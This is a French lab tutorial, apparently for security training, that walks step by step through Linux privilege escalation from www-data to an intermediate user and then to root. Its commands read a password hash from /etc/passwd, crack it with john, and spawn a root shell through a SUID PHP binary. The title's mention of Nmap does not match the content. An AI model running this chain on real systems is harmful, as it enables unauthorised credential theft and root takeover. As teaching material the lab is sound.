Escalade de Privilèges vers Root via un Utilisateur Intermédiaire dans Nmap

Introduction

Dans ce laboratoire, nous allons apprendre comment escalader les privilèges jusqu'à l'utilisateur root lorsque nous ne pouvons pas directement escalader en tant que root. Nous allons y parvenir en escaladant d'abord vers un autre utilisateur régulier, puis en utilisant les privilèges de cet utilisateur pour escalader jusqu'à l'utilisateur root. Cet utilisateur intermédiaire est appelé un utilisateur « pierre de transition » (stepping stone).

Le but de ce laboratoire est d'escalader les privilèges de l'utilisateur www-data à l'utilisateur alice, puis de l'utilisateur alice à l'utilisateur root.

Initialiser l'environnement de laboratoire

Dans cette étape, nous allons initialiser l'environnement de laboratoire.

Tout d'abord, ouvrez un terminal et accédez au répertoire /home/labex/project :
```
cd /home/labex/project
```
Exécutez la commande suivante pour configurer l'environnement du laboratoire :
```
./env_setup.sh
```

Cette commande téléchargera et exécutera un script qui configure l'environnement nécessaire pour le laboratoire. Après avoir exécuté cette commande, vous devriez être passé à l'utilisateur www-data, simulant un shell initial obtenu via une vulnérabilité web.

Tenter l'élévation de privilèges SUID

Dans cette étape, nous allons tenter d'escalader les privilèges en utilisant la technique SUID (Set User ID). Nous allons rechercher les fichiers exécutables avec le bit SUID activé, qui peuvent être exécutés avec les permissions du propriétaire du fichier (dans ce cas, root).

Tout d'abord, recherchons les fichiers exécutables SUID auxquels l'utilisateur www-data peut accéder :
```
find / -user root -perm -4000 -print 2> /dev/null > ~/www-data_suid_files.txt
```
Cette commande va rechercher dans tout le système de fichiers les fichiers appartenant à l'utilisateur root et ayant le bit SUID activé (mode de permissions 4000).
Après avoir exécuté la commande, vous devriez voir une liste de fichiers exécutables SUID dans le fichier www-data_suid_files.txt. Examinons le contenu de ce fichier :
```
cat ~/www-data_suid_files.txt
```

Cependant, dans ce cas, il n'y a pas de fichiers adaptés pour une escalade de privilèges via SUID.

Examiner le répertoire personnel

Étant donné que nous n'avons pas pu escalader les privilèges en utilisant la technique SUID, explorons le répertoire personnel à la recherche d'utilisateurs potentiels de transition (stepping stone).

Tout d'abord, enregistrons le contenu du répertoire /home dans un fichier pour une analyse plus approfondie :
```
ls -alh /home > ~/home_dir_contents.txt
```
Cette commande répertoriera le contenu du répertoire /home au format détaillé, y compris les tailles de fichiers et les permissions, et l'enregistrera dans le fichier home_dir_contents.txt.
Ensuite, examinons le contenu du fichier home_dir_contents.txt pour identifier tout utilisateur potentiel de transition :
```
cat ~/home_dir_contents.txt
```
Vous devriez voir un répertoire nommé alice dans la sortie, indiquant l'existence d'un utilisateur nommé alice sur le système.

Tenter d'élever les privilèges au compte utilisateur Alice

Étant donné que l'utilisateur www-data n'a pas accès au répertoire alice, nous devons trouver un moyen d'escalader les privilèges jusqu'à l'utilisateur alice en premier lieu.

Vérifions le fichier /etc/passwd pour obtenir des informations sur l'utilisateur alice :
```
cat /etc/passwd | grep alice > ~/alice_info.txt
```
Vérifions le contenu du fichier alice_info.txt pour afficher les détails de l'utilisateur alice
```
cat ~/alice_info.txt
```
Sortie attendue :
```
alice:$1$ignite$tN3eRajwqVQLh1dDmMVix0:5001:5001::/home/alice:/bin/bash
```
Dans la sortie, vous devriez voir une entrée pour l'utilisateur alice, y compris le hachage du mot de passe.

Pour casser le hachage du mot de passe, nous pouvons utiliser l'outil john. Ouvrez un nouveau terminal et exécutez la commande suivante :

john ~/alice_info.txt > cracked_passwords.txt

Exemple de sortie :

Created directory: /var/www/.john
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 100% 2/3 5.000g/s 6780p/s 6780c/s 6780C/s 123456..crawford
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Cela lancera le processus de cassage du mot de passe. Une fois le mot de passe cassé, vous devriez voir le mot de passe dans le fichier cracked_passwords.txt.

cat ~/cracked_passwords.txt

Exemple de sortie :

Loaded 1 password hash (md5crypt [MD5 32/64 X2])
beautiful        (alice)

Dans ce cas, le mot de passe de l'utilisateur alice est beautiful. Utilisez la commande su pour passer à l'utilisateur alice :
```
su - alice
```
Entrez le mot de passe que nous avons cassé précédemment (beautiful) lorsque vous y êtes invité.
```
beautiful
```
Après avoir réussi à passer à l'utilisateur alice, accédez au répertoire alice et créez un nouveau fichier nommé alice.txt :
```
cd /home/alice
```
Créez un nouveau fichier nommé alice.txt :
```
touch ~/alice.txt
```
Vous devriez maintenant avoir accès au répertoire alice et à son contenu.

Tenter une escalade de privilèges SUID en tant qu'utilisateur Alice

Maintenant que nous avons escaladé les privilèges jusqu'à l'utilisateur alice, essayons à nouveau la technique d'escalade de privilèges via SUID.

Assurez-vous que vous êtes dans le répertoire personnel de l'utilisateur alice :
```
cd /home/alice
```
Exécutez la commande suivante pour trouver les fichiers avec le bit SUID activé :
```
find / -user root -perm -4000 -print 2> /dev/null > alice_suid_files.txt
```
Vérifiez le contenu du fichier alice_suid_files.txt pour afficher la liste des fichiers SUID :
```
cat alice_suid_files.txt
```
Sortie attendue :
```
...
/var/bin/php
...
```
Cette fois, vous devriez voir un fichier exécutable /var/bin/php dans la sortie. Ce fichier peut être utilisé pour une escalade de privilèges via SUID.
Pour escalader les privilèges jusqu'à l'utilisateur root, exécutez la commande suivante :
```
/var/bin/php -r "pcntl_exec('/bin/sh', ['-p']);"
```
Cette commande exécutera un script PHP qui lancera un nouveau shell avec les privilèges root.
Vous devriez maintenant avoir un shell root, indiqué par l'invite # dans le terminal. Vérifiez que vous avez les privilèges root en créant un fichier dans le répertoire root :
```
touch /root/root.txt
```
Si le fichier est créé sans erreur de permission, vous avez réussi à escalader les privilèges jusqu'à l'utilisateur root en utilisant la technique SUID.

Comprendre la différence dans les autorisations de répertoire

Vous vous demandez peut-être pourquoi l'utilisateur alice a pu trouver le fichier exécutable SUID php, tandis que l'utilisateur www-data n'a pas pu le faire. La réponse réside dans les permissions des répertoires.

Après la dernière étape, vous devriez toujours avoir un shell en tant qu'utilisateur root comme celui ci-dessous :

sh-5.1#

Examinons les permissions du répertoire /var/bin et enregistrons la sortie dans un fichier :
```
ls -lh /var > /root/var_permissions.txt
```
Vérifions le contenu du fichier var_permissions.txt pour afficher les permissions du répertoire /var :
```
cat /root/var_permissions.txt
```
Sortie attendue :
```
total 0
...
drwxr-x--- 2 alice    alice     17 Apr 15 03:48 bin
...
```
Dans la sortie, vous devriez voir que le répertoire /var/bin appartient à l'utilisateur et au groupe alice. Les autres utilisateurs n'ont pas de permissions de lecture, d'écriture ou d'exécution pour ce répertoire.

Cela signifie que lorsque nous avons escaladé les privilèges jusqu'à l'utilisateur alice, nous avons obtenu l'accès à des fichiers et des répertoires qui étaient auparavant inaccessibles à l'utilisateur www-data. Cette différence de permissions nous a permis de trouver et d'utiliser le fichier exécutable SUID pour l'escalade de privilèges.

Résumé

Dans ce laboratoire, nous avons appris à escalader les privilèges jusqu'à l'utilisateur root lorsque l'escalade directe aux privilèges root n'est pas possible. Nous avons atteint cet objectif en escaladant d'abord les privilèges jusqu'à l'utilisateur alice, un utilisateur de transition (stepping stone), puis en utilisant les privilèges de l'utilisateur alice pour escalader jusqu'à l'utilisateur root.

La principale leçon de ce laboratoire est de toujours être attentif aux différences de permissions entre les utilisateurs, car ces différences peuvent parfois être exploitées pour escalader les privilèges. Bien que nous ayons utilisé un exemple simple dans ce laboratoire, les scénarios réels peuvent être plus complexes, mais le principe de base reste le même : exploiter les différences de permissions entre les utilisateurs pour escalader les privilèges.